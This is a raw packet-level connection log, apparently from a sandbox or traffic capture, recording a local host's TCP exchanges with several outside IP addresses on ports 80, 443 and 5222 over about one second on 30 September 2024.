Sep 30, 2024 12:21:00.286658049 CEST	50102	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:00.286679983 CEST	50101	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:00.287822008 CEST	50101	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:00.287832975 CEST	443	50101	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:00.291229010 CEST	5222	50100	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:00.291872025 CEST	80	50102	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:00.291943073 CEST	50100	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:00.291954994 CEST	50102	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:00.292213917 CEST	50102	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:00.292335987 CEST	50100	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:00.297904015 CEST	80	50102	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:00.298724890 CEST	50099	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:00.298783064 CEST	50102	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:00.299048901 CEST	5222	50100	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:00.304476976 CEST	80	50102	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:00.324492931 CEST	443	50085	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:00.324565887 CEST	50085	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:00.324990034 CEST	50085	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:00.327445030 CEST	443	50096	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:00.329083920 CEST	80	50098	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:00.329093933 CEST	5222	50097	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:00.339409113 CEST	443	50099	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:00.345325947 CEST	5222	50087	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:00.347903013 CEST	50087	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:00.378310919 CEST	80	49738	103.78.229.139	192.168.2.5
Sep 30, 2024 12:21:00.380568981 CEST	49738	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:21:00.394946098 CEST	50100	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:00.395145893 CEST	50102	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:00.395467997 CEST	50101	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:00.397134066 CEST	50103	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:00.397290945 CEST	50104	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:00.397334099 CEST	443	50104	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:00.398080111 CEST	50105	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:00.398117065 CEST	50104	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:00.399498940 CEST	50104	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:00.399518967 CEST	443	50104	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:00.401973009 CEST	5222	50103	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:00.402894974 CEST	80	50105	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:00.402978897 CEST	50103	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:00.402987003 CEST	50105	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:00.403161049 CEST	50105	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:00.403286934 CEST	50103	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:00.407927036 CEST	80	50105	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:00.408046961 CEST	5222	50103	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:00.408113956 CEST	50105	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:00.411885023 CEST	50106	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:00.411905050 CEST	443	50106	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:00.411993027 CEST	50106	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:00.412830114 CEST	80	50105	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:00.413453102 CEST	50106	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:00.413465977 CEST	443	50106	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:00.422805071 CEST	443	50088	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:00.422878981 CEST	50088	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:00.422935963 CEST	50088	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:00.429054976 CEST	80	49742	103.78.229.139	192.168.2.5
Sep 30, 2024 12:21:00.430392027 CEST	49742	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:21:00.437838078 CEST	443	50090	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:00.437905073 CEST	50090	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:00.439410925 CEST	443	50101	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:00.439450026 CEST	50090	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:00.440738916 CEST	80	50102	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:00.440748930 CEST	5222	50100	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:00.448915005 CEST	5222	50093	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:00.449078083 CEST	50093	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:00.503158092 CEST	5222	50091	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:00.503568888 CEST	50092	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:00.504132986 CEST	50103	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:00.504331112 CEST	50105	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:00.504951954 CEST	50104	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:00.505345106 CEST	50091	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:00.506943941 CEST	50107	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:00.507987022 CEST	50108	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:00.508003950 CEST	443	50108	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:00.508374929 CEST	50108	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:00.509512901 CEST	50108	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:00.509529114 CEST	443	50108	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:00.510102034 CEST	50109	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:00.512985945 CEST	5222	50091	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:00.512998104 CEST	5222	50107	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:00.513056993 CEST	50107	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:00.513278961 CEST	50107	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:00.516062975 CEST	80	50109	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:00.516140938 CEST	50109	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:00.516362906 CEST	50109	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:00.519258976 CEST	5222	50107	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:00.520987034 CEST	50106	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:00.522264957 CEST	80	50109	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:00.522327900 CEST	50109	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:00.528088093 CEST	80	50109	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:00.530846119 CEST	443	50094	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:00.530915022 CEST	50094	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:00.530944109 CEST	50094	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:00.551435947 CEST	443	50104	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:00.552721024 CEST	80	50092	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:00.556802034 CEST	80	50105	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:00.556813002 CEST	5222	50103	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:00.559613943 CEST	80	49745	103.78.229.139	192.168.2.5
Sep 30, 2024 12:21:00.560422897 CEST	49745	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:21:00.561739922 CEST	5222	50097	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:00.565059900 CEST	50097	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:00.567428112 CEST	443	50106	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:00.617033958 CEST	50091	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:00.617192984 CEST	50107	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:00.617290020 CEST	50109	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:00.617878914 CEST	50108	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:00.619736910 CEST	50110	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:00.619856119 CEST	50111	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:00.619890928 CEST	443	50111	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:00.619952917 CEST	50111	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:00.621260881 CEST	5222	50091	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:00.621285915 CEST	50111	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:00.621298075 CEST	443	50111	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:00.621383905 CEST	50091	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:00.621527910 CEST	50112	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:00.622216940 CEST	5222	50091	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:00.622443914 CEST	50091	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:00.622627020 CEST	50113	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:00.622668028 CEST	443	50113	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:00.622781038 CEST	50113	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:00.624056101 CEST	50113	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:00.624074936 CEST	443	50113	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:00.624958038 CEST	5222	50110	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:00.625036001 CEST	50110	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:00.625232935 CEST	50110	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:00.626358032 CEST	80	50112	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:00.626435995 CEST	50112	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:00.626581907 CEST	50112	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:00.630016088 CEST	5222	50110	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:00.631433964 CEST	80	50112	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:00.631498098 CEST	50112	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:00.638003111 CEST	80	50112	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:00.645992041 CEST	80	49749	103.78.229.139	192.168.2.5
Sep 30, 2024 12:21:00.647026062 CEST	49749	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:21:00.661519051 CEST	443	50096	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:00.661633015 CEST	50096	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:00.661683083 CEST	50096	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:00.663400888 CEST	443	50108	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:00.666812897 CEST	80	50109	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:00.666824102 CEST	5222	50107	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:00.671245098 CEST	5222	50100	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:00.671300888 CEST	50100	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:00.673609018 CEST	443	50099	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:00.673670053 CEST	50099	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:00.673702002 CEST	50099	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:00.729510069 CEST	50110	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:00.729640007 CEST	50112	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:00.729681969 CEST	50111	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:00.732676029 CEST	50113	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:00.732916117 CEST	50114	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:00.732952118 CEST	443	50114	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:00.733133078 CEST	50114	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:00.733984947 CEST	50115	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:00.735980988 CEST	50114	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:00.735996962 CEST	443	50114	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:00.737157106 CEST	50116	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:00.741199970 CEST	5222	50115	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:00.741318941 CEST	50115	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:00.741622925 CEST	50115	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:00.744529963 CEST	80	50116	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:00.744600058 CEST	50116	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:00.744946957 CEST	50116	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:00.748965979 CEST	5222	50115	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:00.751645088 CEST	80	50116	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:00.751705885 CEST	50116	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:00.759313107 CEST	80	50116	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:00.775413990 CEST	443	50111	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:00.775428057 CEST	443	50113	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:00.775599003 CEST	443	50101	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:00.775660992 CEST	50101	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:00.775691032 CEST	50101	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:00.777101994 CEST	5222	50103	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:00.777164936 CEST	50103	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:00.783309937 CEST	80	50112	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:00.783323050 CEST	5222	50110	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:00.786951065 CEST	80	49752	103.78.229.139	192.168.2.5
Sep 30, 2024 12:21:00.787018061 CEST	49752	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:21:00.841083050 CEST	50115	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:00.841296911 CEST	50114	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:00.841862917 CEST	50116	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:00.844618082 CEST	50117	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:00.846340895 CEST	50118	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:00.846395969 CEST	443	50118	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:00.846470118 CEST	50118	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:00.849405050 CEST	50118	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:00.849426031 CEST	443	50118	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:00.852359056 CEST	5222	50117	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:00.852468014 CEST	50117	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:00.852788925 CEST	50117	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:00.855303049 CEST	50119	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:00.855335951 CEST	443	50119	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:00.855474949 CEST	50119	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:00.855550051 CEST	80	50072	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:00.856039047 CEST	50072	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:00.856717110 CEST	443	50104	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:00.856780052 CEST	50104	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:00.857059002 CEST	50104	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:00.858748913 CEST	50119	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:00.858764887 CEST	443	50119	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:00.859776974 CEST	50120	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:00.860217094 CEST	5222	50117	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:00.864527941 CEST	80	49756	103.78.229.139	192.168.2.5
Sep 30, 2024 12:21:00.865433931 CEST	49756	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:21:00.867489100 CEST	80	50120	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:00.867588997 CEST	50120	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:00.867788076 CEST	50120	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:00.875533104 CEST	80	50120	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:00.875638962 CEST	50120	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:00.883265018 CEST	80	50120	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:00.883443117 CEST	443	50114	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:00.889846087 CEST	443	50106	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:00.889935017 CEST	50106	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:00.889935017 CEST	50106	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:00.891418934 CEST	80	50116	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:00.891429901 CEST	5222	50115	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:00.902038097 CEST	5222	50107	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:00.902095079 CEST	50107	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:00.959727049 CEST	80	50075	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:00.959918022 CEST	50075	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:00.966270924 CEST	50117	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:00.966392040 CEST	50118	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:00.966939926 CEST	443	50108	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:00.967008114 CEST	50108	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:00.967027903 CEST	50108	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:00.967053890 CEST	50120	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:00.968065023 CEST	50119	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:00.969679117 CEST	50121	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:00.969715118 CEST	443	50121	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:00.970128059 CEST	50121	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:00.971434116 CEST	50121	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:00.971447945 CEST	443	50121	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:00.971685886 CEST	50122	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:00.976839066 CEST	5222	50122	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:00.976943970 CEST	50122	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:00.977219105 CEST	50122	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:00.982403040 CEST	5222	50122	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:00.996331930 CEST	5222	50110	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:00.999017000 CEST	50110	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:01.003402948 CEST	80	49759	103.78.229.139	192.168.2.5
Sep 30, 2024 12:21:01.004417896 CEST	50123	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:01.004479885 CEST	49759	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:21:01.009598017 CEST	80	50123	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:01.011406898 CEST	443	50118	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:01.011425018 CEST	443	50119	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:01.011497974 CEST	50123	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:01.011672020 CEST	50123	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:01.012801886 CEST	5222	50117	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:01.017086983 CEST	80	50120	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:01.018378973 CEST	80	50123	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:01.018435955 CEST	50123	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:01.023140907 CEST	80	50123	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:01.069653034 CEST	80	50079	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:01.073153973 CEST	50079	80	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:01.076800108 CEST	443	50111	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:01.076872110 CEST	50111	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:01.076992989 CEST	50111	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:01.077477932 CEST	50122	5222	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:01.077712059 CEST	50121	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:01.078212023 CEST	50123	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:01.080069065 CEST	443	50113	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:01.080174923 CEST	50113	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:01.080174923 CEST	50113	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:01.080410004 CEST	50124	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:01.080435991 CEST	443	50124	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:01.080492020 CEST	50124	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:01.081657887 CEST	50124	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:01.081675053 CEST	443	50124	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:01.082695961 CEST	50125	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:01.083992004 CEST	50126	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:01.084022045 CEST	443	50126	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:01.084484100 CEST	50127	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:01.084520102 CEST	50126	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:01.085319042 CEST	80	49763	103.78.229.139	192.168.2.5
Sep 30, 2024 12:21:01.085469961 CEST	49763	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:21:01.085716963 CEST	50126	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:01.085728884 CEST	443	50126	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:01.087805986 CEST	5222	50125	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:01.087903976 CEST	50125	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:01.088093996 CEST	50125	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:01.089709997 CEST	80	50127	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:01.092837095 CEST	5222	50125	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:01.092909098 CEST	50127	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:01.093108892 CEST	50127	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:01.100208998 CEST	80	50127	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:01.101011038 CEST	50127	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:01.106118917 CEST	80	50127	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:01.123400927 CEST	443	50121	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:01.128381968 CEST	5222	50115	66.228.63.175	192.168.2.5
Sep 30, 2024 12:21:01.128742933 CEST	80	50123	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:01.128756046 CEST	5222	50122	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:01.128798008 CEST	50115	5222	192.168.2.5	66.228.63.175
Sep 30, 2024 12:21:01.197375059 CEST	80	50082	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:01.199156046 CEST	50082	80	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:01.209779978 CEST	80	49766	103.78.229.139	192.168.2.5
Sep 30, 2024 12:21:01.213470936 CEST	49766	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:21:01.219295979 CEST	443	50114	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:01.219407082 CEST	50114	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:01.219407082 CEST	50114	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:01.223509073 CEST	50125	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:01.223638058 CEST	50126	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:01.224315882 CEST	50127	80	192.168.2.5	139.144.164.103
Sep 30, 2024 12:21:01.232518911 CEST	5222	50117	66.228.63.21	192.168.2.5
Sep 30, 2024 12:21:01.233128071 CEST	50117	5222	192.168.2.5	66.228.63.21
Sep 30, 2024 12:21:01.253149033 CEST	50124	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:21:01.256814957 CEST	50128	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:01.258647919 CEST	50129	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:01.258667946 CEST	443	50129	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:01.258733034 CEST	50129	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:01.260004044 CEST	50129	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:01.260015965 CEST	443	50129	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:01.261151075 CEST	50130	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:01.263469934 CEST	5222	50128	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:01.265563011 CEST	50128	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:01.266818047 CEST	80	50130	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:01.266892910 CEST	50130	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:01.267406940 CEST	443	50126	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:01.272902012 CEST	5222	50125	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:01.273421049 CEST	50128	5222	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:01.277430058 CEST	50130	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:01.278088093 CEST	80	50127	139.144.164.103	192.168.2.5
Sep 30, 2024 12:21:01.279306889 CEST	5222	50128	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:01.283094883 CEST	80	50130	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:01.285192013 CEST	50130	80	192.168.2.5	45.79.244.41
Sep 30, 2024 12:21:01.290812016 CEST	80	50130	45.79.244.41	192.168.2.5
Sep 30, 2024 12:21:01.299398899 CEST	443	50124	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:01.302897930 CEST	80	50086	139.144.164.192	192.168.2.5
Sep 30, 2024 12:21:01.305003881 CEST	50086	80	192.168.2.5	139.144.164.192
Sep 30, 2024 12:21:01.317478895 CEST	443	50118	172.65.251.78	192.168.2.5
Sep 30, 2024 12:21:01.317573071 CEST	50118	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:01.317617893 CEST	50118	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:21:01.341379881 CEST	443	50119	188.114.97.3	192.168.2.5
Sep 30, 2024 12:21:01.341521025 CEST	50119	443	192.168.2.5	188.114.97.3
